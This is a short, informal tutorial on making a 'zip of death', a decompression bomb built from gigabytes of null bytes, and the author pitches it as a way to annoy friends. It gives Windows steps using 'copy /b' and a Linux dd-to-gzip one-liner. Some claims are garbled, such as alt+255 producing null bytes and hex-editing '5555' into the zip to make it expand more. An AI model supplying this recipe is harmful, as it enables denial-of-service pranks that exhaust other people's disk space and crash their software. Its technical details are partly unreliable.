The Zip oF DeATh

this is a exploit of the compression algorithms to make a small zip that will extract into extream amounts
their are more ways and better ones than this one but i will only show how to make a simple 1k = 1m ratio

make a.txt file
open and type the null character (alt + 255)
press ctrl + a then ctrl + v a couple times to make some null bytes
if u have a hexeditor make the hex 00 for about 50 kilobytes
now make several copies of a.txt and name accordinly
open cmd.exe
type copy /b *.txt b.txt
now every copy is made into a super copy and repeat
once u have a nice empty big text file like 1gb
put it in a zip archive
because of the simple construction of the file
1gb of null bytes
the zip is only 1 mb in size and can really annoy freinds
for added fun hex edit the zip and u will see a bunch of hex 5555
just add some more and the file will expand amazingly
make sure to not open this after

You can always create your zip of death from the command line in linux
dd if=/dev/zero bs=1000 count=1000000 | gzip > test.gz

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